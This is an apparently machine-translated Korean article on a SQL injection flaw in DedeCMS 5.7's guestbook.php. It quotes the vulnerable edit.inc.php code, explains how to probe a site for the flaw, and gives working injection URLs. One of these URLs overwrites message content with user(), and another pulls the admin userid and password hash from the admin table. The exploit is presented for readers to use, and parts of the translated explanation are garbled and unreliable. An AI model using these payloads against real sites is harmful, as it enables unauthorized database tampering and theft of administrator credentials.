이 기사의 내용은 guestbook.php를 사용하는 dedecms5.7의 최신 SQL 주입 취약점에 대한 내용입니다. 이제 필요한 친구들이 참고할 수 있습니다.
해당 버전은 5.7
입니다. 취약점 파일 edit.inc .php 특정 코드:
< ?php if(!defined('DEDEINC')) exit('Request Error!'); if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; else $GUEST_BOOK_POS = "guestbook.php"; $id = intval($id); if(empty($job)) $job='view'; if($job=='del' && $g_isadmin) { $dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); exit(); } else if($job=='check' && $g_isadmin) { $dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); exit(); } else if($job=='editok') { $remsg = trim($remsg); if($remsg!='') { //管理员回复不过滤HTML By:Errorera blog:errs.cc if($g_isadmin) { $msg = "<p class='rebox'>".$msg."</p>\n".$remsg; //$remsg <br /><font color=red>管理员回复:</font> } else { $row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); $oldmsg = "<p class='rebox'>".addslashes($row['msg'])."</p>\n"; $remsg = trimMsg(cn_substrR($remsg, 1024), 1); $msg = $oldmsg.$remsg; } } //这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc $dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); exit(); } //home:www.errs.cc if($g_isadmin) { $row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); } else { $row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); }
취약성 성공을 위한 요구 사항:
1.php Magic_quotes_gpc=off
2 취약점 파일이 존재합니다. plus/guestbook.php dede_guestbook 테이블도 존재해야 합니다.
취약점 여부 판단 방법:
먼저 www.xxx.com/plus/guestbook.php를 열면 다른 사람의 메시지를 볼 수 있습니다.
그런 다음 [답글/편집]에 마우스를 올리면 ID를 볼 수 있습니다. 다른 사람의 메시지. 그런 다음 ID를 적어주세요
Visit:
www.xxx.com/plus/guestbook.php?action=admin&job=editok&msg=errs.cc'&id=存在的留言ID
제출 후 dede5.7 버전인 경우 "성공적으로 변경되었거나 메시지에 답장했습니다"가 표시됩니다. 이는 수정이 성공했음을 증명합니다
www.xxx.com으로 다시 이동합니다. /plus/guestbook.php 변경한 메시지 ID가 errs.cc'가 되었는지 확인하세요.
그렇다면 취약점을 악용할 수 없음을 증명하고 php Magic_quotes_gpc=off를 켜야 합니다.
변경 사항이 다음과 같다면 성공하지 못하더라도 메시지 ID의 내용은 여전히 입니다. 이전 메시지에서는 취약점이 악용될 수 있음이 입증되었습니다.
그럼 다시 방문
www.xxx.com/plus/guestbook.php?action=admin&job=editok&id=存在的留言ID&msg=',msg=user(),email='
하고 돌아오면 메시지 ID 내용이 mysql user()로 바로 수정됩니다.
아마도 이런 식으로 사용되는 것 같은데, 관심 있으신 분들은 좀 더 공부해 보시기 바랍니다! !
마지막으로 일부 사람들은 관리 백엔드 계정의 비밀번호를 해독하는 방법을 말할 수도 있습니다. 어쨌든 노출은 당연히 가능합니다(노출할 수 없다면 올리지 않겠습니다)! !
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
위 내용은 dedecms5.7 최신 SQL은 guestbook.php 주입 취약점을 악용합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!